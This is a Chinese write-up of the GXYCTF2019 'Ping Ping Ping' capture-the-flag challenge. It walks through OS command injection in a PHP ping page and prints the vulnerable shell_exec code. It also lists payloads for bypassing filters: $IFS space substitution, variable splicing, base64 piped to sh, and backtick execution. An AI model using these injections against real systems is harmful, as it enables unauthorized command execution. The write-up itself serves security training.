[GXYCTF2019]Ping Ping Ping 1解题思路
- 打开目标靶机
发现提示很简洁
- 那就放在URL里尝试吧
/?ip=127.0.0.1
有明显的的回显结果
并没有此类题目的经验,第一次碰到,只能尝试,发现空格等很多符号被过滤,看老哥们的提示,这是经典的Linux命令执行,使用命令执行的管道符 “|” 尝试列出文件,OK那就开干吧 - 构造如下 payload
/?ip=127.0.0.1|ls
有结果,得到文件名称
4. 拿到文件名,flag 大概率在 flag.php 中,那么接下来肯定尝试去访问,或者列出文件内容啊
?ip=1|cat flag.php
额,,,,发现空格被过滤
那么想办法绕过空格,大题有以下思路
$IFS
${IFS}
$IFS$1 // 1 改 成 1改成 1改成加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
注意:
有时 cat
可能被过滤,那么尝试用 tac
,反向输出;或者 linux命令中可以加 \
,所以甚至可以 ca\t /fl\ag
5. 知道了空格的绕过方法,逐个尝试,构造如下 payload
/?ip=1|cat$IFS$1flag.php
真是一波三折~~~,此处到底过滤了多少东西啊
6. 查看 index.php 看能否得到些许有用信息,构造 payload
/?ip=1|cat$IFS$1index.php
出现了部分内容
但是貌似不全,可能是因为其他原因导致,右键查看网页源码,得到如下代码
/?ip=
<pre>/?ip=
<?php
if(isset($_GET['ip'])){$ip = $_GET['ip'];if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!");} else if(preg_match("/ /", $ip)){die("fxck your space!");} else if(preg_match("/bash/", $ip)){die("fxck your bash!");} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}$a = shell_exec("ping -c 4 ".$ip);echo "<pre>";print_r($a);
}
?>
- 进行代码审计,发现过滤很多标点,空格,bash以及flag的贪婪匹配,,,,,那么常规访问
flag.php
的方法肯定行不通,代码中有个 $a 考虑进行变量覆盖,构造如下 payload
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
//或者
?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
额,好像也没变化撒,不慌,先看一波网页源码再做定论
或者直接 Ctrl + u(Chrome浏览器)
发现flag是出来的,只不过再注释里,所以没有显示出来。因此做题的时候,尽量开着
8. 官方给出 payload 为:
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
即先对 cat flag.php
进行base64 加密,过滤 bash
,那就用 sh
同样可得 flag,此处为了做区分,特地换了ip
9. 还有另外一种方法:内联执行
使用 `` 代替 | ,将反引号内命令的输出作为输入执行,即:
/?ip=2.2.2.2;cat$IFS$1`ls`
10. 总结
需掌握以下知识点
- 命令执行变量拼接
- 过滤 bash 用 sh 执行
- 内联执行,将反引号内命令的输出作为输入执行
- 空格绕过姿势
- 代码审计能力
- 熟悉 Linux 命令的使用方法,管道等
做题不能大意,不能根据回显结果简单的做定论,一定要把能了解的信息都查看完之后,在确定是否有效。养成看网页源码的好习惯!!
[GXYCTF2019]Ping Ping Ping 1解题思路相关推荐
- 《TCP/IP 卷一》笔记、ping和traceroute 的实现思路
一.TCP协议相关笔记 Normally TCP does not send an ACK the instant it receives data. Instead, it delays the A ...
- linux命令菜鸟ping,Linux ping命令
Linux ping命令 Linux ping命令用于检测主机. 执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常. 语 ...
- 复制vmware overLay网络无法ping通 ping www.baidu.com可以
因为忘记关闭防火墙了!!!!! 要永久关闭!! 修改hostname https://blog.csdn.net/qq_27327261/article/details/109100219 关闭 ...
- linux使用ping命令ping本机,Linux下使用ping命令判断网络的好坏
简介 在Linux系统里面如果想判断网络的好坏,脑海中蹦出的第一个命令就是ping了. ping命令基本是最常用的网络命令,它可以用来测试与目标主机的连通性. ping通过发送ICMP ECHO_RE ...
- 虚拟机ping网关ping不通
虚拟机ping网关ping不通,可能自己遇到的比较奇特,开始访问正常,过一段时间就不正常,分享一下解决办法: 首先ping同网段的可以ping的通,说明vmnet8的ipv4不和虚拟机配置的vmnet ...
- 全网超详细的如何Ping特定的端口号,比如telnet Ping,nc Ping,nmap Ping等
文章目录 1. 文章引言 2. ping特定端口 2.1 使用telnet ping特定端口 2.2 使用nc ping特定端口 2.3 使用nmap ping端口 2.4 使用Powershell ...
- C# ping命令,ping网络状态
Ping ping = new Ping(); PingReply pingReply = ping.Send("192.168.1.1"); //网络状态 if (pingRep ...
- securityoverridehacking challenge 解题思路汇总——Forensics
上一部分我们完成了加解密方面的任务(securityoverridehackingchallenge 解题思路汇总--Decryption).下一个部分应当是权限提升的,不过在这个过程中遇到了一些问题 ...
- 2020考研 管理类联考数学 【题型分析及解题思路】
第一章 整式分式 1.若一元n次多项式A被(或者是B的因式)一元1次多项式B整除,求解A中的几个系数a,b(解题思路:代入法,让因式值为0,也可以配合多元多项式基本公式将复杂的B变成简单的几个一次多项 ...
- 2014计算机三级网络技术,2014计算机三级网络技术综合题解题思路
2014计算机三级网络技术综合题解题思路,全部自码 第一小题 IP地址的计算公式 正常IP地址计算:已知IP地址:子网掩码: 地址类别:A类地址:1-126(00)B类地址:128-191(10) C ...
最新文章
- NC93设计LRU缓存结构
- 207. Course Schedule 210. Course Schedule II
- 网站内链的6大常见形式你了解多少?
- 射频篇(一) 模拟、射频器件学习(1) —— 晶振(OSC)
- WPS for Linux(ubuntu)字体缺失解决办法(转)
- python定时任务_Python定时任务(上)
- qprocess 最小化启动外部程序_程序员易踩的 9 大坑,教你识别
- java mediator模式_Java实现中介者模式-Mediator Pattern
- 微信小程序:wx.getUserInfo 接口的变动与使用
- [redis] redis连接远程客户端查询数据
- 传智播客视频python视频爬虫
- ArcGIS操作实例视频教程38讲全集(转)
- 动感歌词制作与转换工具(QRC, KRC, LRC, KSC, TRC) 1.2.9版本
- 苹果手机屏幕镜像搜索不到电视_康佳电视投屏不了,3个办法解决!
- Android OTA在线升级一(架构分析)【转】
- Python之NumPy(axis=0/1/2...)的透彻理解——通过np.sum(axis=?)实例进行说明
- MSDC 4.3 接口规范(19)
- 快速入门Kotlin
- 逆时针旋转坐标系的转换
- 微信小程序-编写图标的方法